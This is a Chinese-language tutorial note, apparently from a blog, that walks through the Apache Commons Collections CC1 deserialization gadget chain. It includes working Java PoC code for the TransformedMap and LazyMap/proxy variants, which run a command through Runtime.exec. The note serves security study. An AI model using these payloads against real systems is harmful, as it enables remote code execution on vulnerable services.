cc1
基础
cc接口及类介绍
Transformer接口
Defines a functor interface implemented by classes that transform one object into another.
只有一个方法:
ConstantTransformer
returns the same constant each time
构造函数:
transform方法:
InvokerTransformer
implementation that creates a new object instance by reflection.
构造函数:
transform方法:
在input方法中找到与iMethodName、iParamTypes匹配的方法,然后利用反射调用它。
例子:
ChainedTransformer
implementation that chains the specified transformers together.
构造函数:
tranform方法:
就是将多个transform串起来,用第iTranforms[0]来tranform输入的元素,然后将transform后的元素作为iTranforms[i]的tranform参数。所以,如果iTranforms[0]为ConstantTransformer,输入将对此chained tranform不产生影响。
例子:
反序列化
注意到Runtime类没有实现反序列化接口,怎么才能构造它并反序列化呢
注意到cc可以动态转化类,可以通过反射构造出Rutime类。但是Runtime的构造方法是私有的,怎么办呢。调用一个类的静态方法,不需要这个类被实例化,反射的时候也是如此。所以:
Method method = Runtime.class.getMethod("getRuntime", null);
Runtime runtime = Runtime.class.cast(method.invoke(null, null));
runtime.exec("calc");
注意到这种写法有cast方法,其实是可以接着用反射替换掉:
Method method = Runtime.class.getMethod("getRuntime", null);
Object obj =method.invoke(null, null);
Method exec = obj.getClass().getMethod("exec", new Class[]{String.class});
exec.invoke(obj, "calc");
上诉这种形式可以完美匹配chained链条,用tranform的方式表达:
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
ct.transform(null);
此时我们已经可以制作出一个可以被反序列化的ChainedTransformer了。接下来要找到一个类:
1、有ChainedTransformer属性,且可被赋值。
2、在静态构造块、初始化构造块、构造函数、readObj链之一中调用ct.tranform的类。
cc1
TransformedMap
Decorates another Map to transform objects that are added.
构造函数:
注意到:
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue会调用
所以只要找到readObject中调用了MapEntry.setValue即可完成反序列化利用链
AnnotationInvocationHandler
构造方法:
readObj方法:
var3为map,key为this.type方法名
遍历var2中的key,查看var3的keys是否包含。如果包含就调用var5的setValue。
poc
public void exp1() throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
Map innermap = new HashMap();
//绕过var3.get(var6)
innermap.put("value", "xx");
Map outermap = TransformedMap.decorate(innermap, null, ct);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//为私有方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//Retention为有value方法
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outermap);
ser(handler);
}
public void ser(InvocationHandler handler) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
调用链
lazyMap
get方法调用了transform:
对象初始化:
动态代理
java动态代理是利用反射机制生成一个实现代理接口的匿名类,在调用具体方法前调用InvokeHandler来处理
动态代理那些接口
PersonEat personEat = new PersonEat();
//代理类代理personEat的所有接口中包含的方法
Object obj1 = Proxy.newProxyInstance(personEat.getClass().getClassLoader(),
personEat.getClass().getInterfaces(), (proxy, method, args1) -> {
System.out.println("wash");
Object obj = method.invoke(personEat, args1);
System.out.println("clean");
return obj;
});
Eat.class.cast(obj1).eat();
Dress.class.cast(obj1).dress();
//代理类代理personEat的Dress接口的方法
obj1 = Proxy.newProxyInstance(personEat.getClass().getClassLoader(),
new Class[]{Dress.class}, (proxy, method, args1) -> {
System.out.println("wash");
Object obj = method.invoke(personEat, args1);
System.out.println("clean");
return obj;
});
Dress.class.cast(obj1).dress();
Eat.class.cast(obj1).eat();
动态代理类查看:
这些方法均会触发代理方法:
poc
AnnotationInvocationHandler的readObj中entrySet为Map的接口方法,会自动触发invoke方法。
生成的动态代理类,invoke方法已被重写:
invoke方法又调用了map的get方法,如果这个map为lazyMap则利用链完整。又这个memberValues为构造函数的参数,外部可控,可设置为lazyMap。
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
//构造LazyMap
Map innerMap = new HashMap();
innerMap.put("value", "xx");
Map outerMap = LazyMap.decorate(innerMap, ct);
//构造ProxyMap
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//一个实现了InvocationHandler的类,然后使用代理来劫持一个Map类型的对象的函数执行流程,
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ser(handler);
调用链
最新文章
- ComponentPattern (组合模式)
- MACS2 安装与使用
- 学习SQL的点点滴滴(五)-DELETE小计
- Atitit 教育与培训学校 的计划策划 v2
- [转]OpenVPN 安装与配置
- 小菜鸟学 Spring-bean scope (一)
- 【风马一族_Android】手机与电脑通过adb进行连接
- mysql级联更新的两种方式:触发器更新和外键
- 【转】 Java 多线程之一
- UNIX基础知识之输入和输出
- (转) Class
- linux-0.11抠代码-GDB+VMWARE
- HTML 总结-表单-表单属性
- 模板类-bitset
- 关于vue使用form上传文件
- vue 路由配置
- mysql 在原有的时间上加10个月或者一年
- C#获得窗口控件句柄
- phpstom pojie
- SQL语句,表中的列字段字符串合并 和 字符串拆分成表